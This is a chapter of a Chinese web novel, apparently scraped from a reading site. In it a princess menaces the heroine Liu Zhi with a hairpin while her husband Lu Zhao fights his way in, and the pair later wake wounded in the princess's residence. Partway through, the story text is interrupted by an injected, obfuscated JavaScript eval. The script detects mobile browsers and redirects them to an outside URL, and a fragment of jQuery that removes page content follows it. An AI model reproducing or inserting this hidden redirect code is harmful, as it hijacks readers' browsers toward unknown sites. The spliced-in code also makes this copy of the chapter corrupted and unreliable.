26.第 26 章

作品:《撷春枝:替嫁家婢青云路

    “是,公主殿下”


    柳枝由人扶着,转到公主身侧的案几上落座。


    门外廊下传来铁甲相撞的细响。


    公主府的亲卫,已围在廊下值守。


    “不知... ...殿下唤臣妇前来,有何吩咐。”


    她身板仍是僵硬,只努力平稳心绪,让自己的声音不至于发颤。


    她蓦地瞥见,窗棂外掠过一道颀长黑影,像是有人贴着雕花木窗疾行。


    “吩咐谈不上,只是想同陆夫人聊几句知心话。”


    李明岚低眉啜了口茶,反笑道。


    茶盏顿在案上,门外传来长刀出鞘的铄铄微响。


    “夫人不想喝口茶暖暖么?”


    柳枝捧着茶盏,不敢贸然入口,却装作细细打量杯中茶汤。


    李明岚似笑非笑,眉梢含了一抹戏谑。


    柳枝越发觉得不安——这人绝不是善茬。


    “臣妇愚钝,感念殿下抬举。”


    “伯夫人入府不过几月,倒是让人刮目相看。”


    李明岚姿态依旧懒散,语调轻描淡写,却仿若一把匕首划过静水。


    她忽然起身,绕到柳枝身后,染着丹蔻的手指拂过她发上翡翠簪。


    殿外仿佛有谁的脊背狠狠撞上了立柱,发出浑浑闷响。


    殿中苦香氤氲,李明岚长指一勾,将柳枝髻上的翡翠簪缓缓带出。


    “你瞧瞧,入府头一夜,就能让王知覃那个老妇吃亏... ...前脚还只是个新妇,后脚就能让伯府中人对你服服帖帖,可称不上愚钝。”


    李明岚嘴里的王知覃,是陆钊生母,柳枝婆母。


    “听说,夫人还想开几家成衣铺?”


    她突然将簪尖顶在柳枝颈侧,冰凉的触感激得柳枝浑身战栗。


    “这簪子用料差了点,样子是不错,配上这张脸儿,倒也合适。”


    茶盏在柳枝手心微微一颤,却未洒出半滴茶水。


    几乎是同时,窗外爆发出压抑的喘息,刀枪铮鸣,如同困兽濒死的呜咽。


    柳枝按下满心的焦灼和惶恐,眼波柔柔一转,强笑道。


    “不过是些闲针小线,倒让殿下见笑了。”


    簪尖微微刺破肌肤,滚下细小血珠时,窗外投下一道剧烈晃动的影子,那人单膝跪地,以剑拄身,脊绷如弦弓,几欲倒下。


    “夫人是个机敏的,只是近日里伯府内外的流言都不消停,我倒替你担了心。”


    李明岚慢悠悠地摆摆手,又靠近几分。


    含笑的眸光却如刀锋,刮过她脸上,手中又用了些力,迫使柳枝与她对视


    “你可知,你所作所为,在旁人嘴中传成了什么模样?”


    “臣妇所行端正,并不惧悠悠众口。”


    自从上次得罪了些人,柳枝对自己在京中的风评多少有些数。


    但若事事都为流言所扰,她也不必活了。


    只是,她实在摸不清大公主因何要提及此事。


    柳枝觑着李明岚神色,脑子转得飞快。


    她知道,李明岚其人身为皇长女,刚硬强势,争胜要强,却出身不显。


    大公主生母金昭媛是大盛属国新卢送来联姻的贵女,乃宗室庶女。


    新卢半岛庶孽禁锢法极严苛,金昭媛却能比过她嫡出的姊妹,成为大盛妃嫔,诞下皇长女,必不会是个为流言所扰的人。


    这位久在军中行走的大公主,瞧着做派,也定有其母刚骨,也足够... ...狠辣。


    此事她听洛晚荷讲过,李明岚的风评,和本朝道学家所赞“温静贤淑”等字,半分不沾。


    清流参奏,更是常有其名。


    “殿下是端正仁德之人,您的功绩,也不会因流言参奏而减损半分,不是吗?”


    柳枝定了定心思,大着胆子道,故意咬重了“端正仁德”四个字。


    “臣妇斗胆请您宽心,既然您不为自己名声担忧,自然也不必忧心臣妇的名声。”


    “是么?好一张巧嘴啊。”


    李明岚听着这话,倒怔愣一瞬,朗声笑起,又她逼近几分,单指挑起柳枝的下巴。


    “若孤... ...不想仁德呢?”


    李明岚捏紧柳枝下巴,指腹粗糙,手劲极大,迫她抬头。


    “最近朝中参奏陆家子侄的折子不少,也有参你的,夫人可知道?”


    “夫人可知,众口铄金,积毁销骨?”


    “我猜,你的好夫君陆钊——一定会觉得,孤用得到他,所以不会杀他,所以,他敢陪你一同前来。”


    “是不是?”


    李明岚笑得更盛,拍拍柳枝的脸颊,柔柔私语,却如冰冷毒蛇钻进柳枝的耳朵。


    “他错了,孤用他,其实,并不一定要他活着。”


    殿外传来血肉之躯被刀刃捅穿的闷响。


    透过半敞殿门晃动的帘隙,柳枝看见陆钊左肩被四柄交叉的长刀压得鲜血淋漓。


    “看起来,夫人对刀兵之事也很感兴趣。”


    殿中开始渗进腥甜的血味儿。


    “那孤便赏你看个清楚。”


    李明岚见柳枝出神,扯着她发髻往后一扯,迫她仰头看向梁间垂下的锃亮熏球。


    “我们现在不妨猜猜... ...你那夫君,有没有那个本事,闯进来?”


    柳枝在晃动的光影里,看见陆钊突然暴起,接着香风吹来,熏球上的影儿模糊做猩红一团。


    她双眼骤然瞪大,心弦已绷得极紧,咽下一口血沫。


    “不,殿下... ...我夫君勇武,他活着远比死了对您有用处,求您莫为了一时之快... ...求您... ...”


    “哦,你现在不该为自己求一求吗?陆夫人?”


    李明岚捏紧了她的下巴,姿态悠然地盯着她。


    簪尖没入她颈半寸,血珠向衣襟滚落。


    “只要您解气,饶过陆府上下,臣妇... ...死不足惜。”


    柳枝吊着腥甜的半口气,存了死志,扬起个越发柔婉的笑,心头反而一松。


    陆钊啊陆钊,应当我一个人过来的。


    在这地方死两个,太亏得慌。


    “死不足惜?夫人将自己的命看得也太重了些。”


    “不过,孤手上杀孽本就数不清楚,倒不缺夫人您这一缕芳魂。”


    簪子寸寸没入,血珠滚滚。


    柳枝并没得到想要的回应,意识模糊间,冰冷冷的话,依旧吐着信子,毫不留情地碾碎她那一点念想。


    她闭着眼,脑中却显出重重掩映,勾着芳菲春意的紫藤。


    早知道,当初该抱一抱他。


    意识模糊间,她好像听见厅门被人从外头猛地撞开。


    “李明岚,你放开她!”


    是陆钊的声音。


    他伤痕累累,压抑着喉中汹涌的怒意,握剑的手青筋暴起,剑尖在李明岚喉间颤出残影。


    “啧,陆钊兄弟,本事见长啊。”


    “不过,你到了本公主府上,就不问一问孤是否安好吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022904|160350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    李明岚迎上剑锋,甩开柳枝。


    柳枝昏死之前,坠入一个满是血气的怀抱。


    “殿下... ...臣陆钊一力承当,妇人无辜... ...”


    陆钊仿佛又说了些什么,只是,她脱了力,耳畔嗡鸣得厉害,实在听不清了。


    柳枝是在檀香与血腥交织的气息中苏醒的。


    她眼皮似坠着千斤重,恍惚间听见铜盆轻碰的脆响。


    有人用沾湿的布帕轻轻拭去她额间的冷汗,那人指带薄茧,拂过她眼尾时停顿片刻。


    颊上一滴温热,竟是泪。


    “将军... ...”柳枝勉力睁眼,正撞见陆钊慌忙用衣袖抹脸。


    她已被换了软绸新衣,不知睡了多久,晨光透过茜纱窗棂落在陆钊侧脸,将一道横贯眉骨的刀伤照得发亮。


    陆钊玄色中衣领口松散,露出缠满纱布的胸膛,隐约渗着淡红。


    “别动,伤口刚换过药。”


    陆钊猛地起身带翻药碗,瓷片碎裂声里,他单膝抵在榻边,伸手要扶,又在碰到柳枝肩头时触电般缩回。


    “将军... ...您伤得比我重多了。”


    柳枝心头一梗,勉力一笑,摸摸颈上,撑着身子,小心地为陆钊理好中衣,指尖冰凉。


    “夫人对不住,对不住,我该放你走。”


    陆钊想伸手搂她,却不敢动弹,声音哑得像是吞过火炭,喉结处还留着青紫掐痕。


    “你不该,你们不该... ...”


    他话音未落,门外传来一阵登登脚步声。


    “兄长,嫂嫂,你们好些没?”


    陆柔明亮的嗓音隔着珠帘传来。


    帘外盈盈走进个二八少女,身后还跟着两个侍女,不是陆柔是谁。


    陆柔走得急,端着托盘进来,略有气喘,语带嗔怪,额间也渗出细汗,很是熟稔地吩咐身后两个姑娘。


    “呐,刚煎好的药,殿下让我送来的,你们快收拾收拾,服侍我哥哥嫂嫂换药。”


    陆柔一袭赭石色柘浆染短打,显然刚从武场回来不久,一头乌发编成麻花辫,尽数盘在脑后,眉心坠一颗虎睛石,玄铁护腕都未解开。


    两个着艾绿衣裙的侍女稳稳应声,手脚麻利地收拾地面,分别扶着二人靠好了。


    “兄长,你们来府怎么遇了这么大的险情,护驾杀刺客这种大事,明岚姐也不知会我一声儿,真是不够意思... ...都把我当小孩儿呢。”


    陆柔趴在柳枝榻边,皱了皱鼻子,小心地伸手给他们试了试药温,被烫得一缩。


    柳枝定睛观瞧这两个侍女妆扮,这才发觉,他们仍在公主府。


    “陆钊兄弟,夫人可醒了?孤带了御医署的雪蟾生肌膏来。”


    帘外又一阵环佩叮当,传来李明岚悠悠然的笑,和缓极了,全没有此前的阴冷。


    “殿下... ...抬举了”


    陆钊下意识横臂下榻,想挡在柳枝身前,却伤得实在厉害。


    “柔儿又说笑呢,你才多大,怎么就不是孩子了。”


    李明岚径自挑帘而入,把药撂下,微微挑眉。


    她也早换了身常服,月白襦裙青玉簪,竟多了几分柔婉。


    李明岚温然笑着,揽榻边陆柔入怀,扶了扶她发髻,仿佛真的是个关怀小妹的温柔长姐。


    只偏头一瞬,警告的锐利眼风扫过陆钊和柳枝。


    “陆钊兄弟和夫人护驾受伤,孤心中已很过意不去,怎好再牵连你呢?”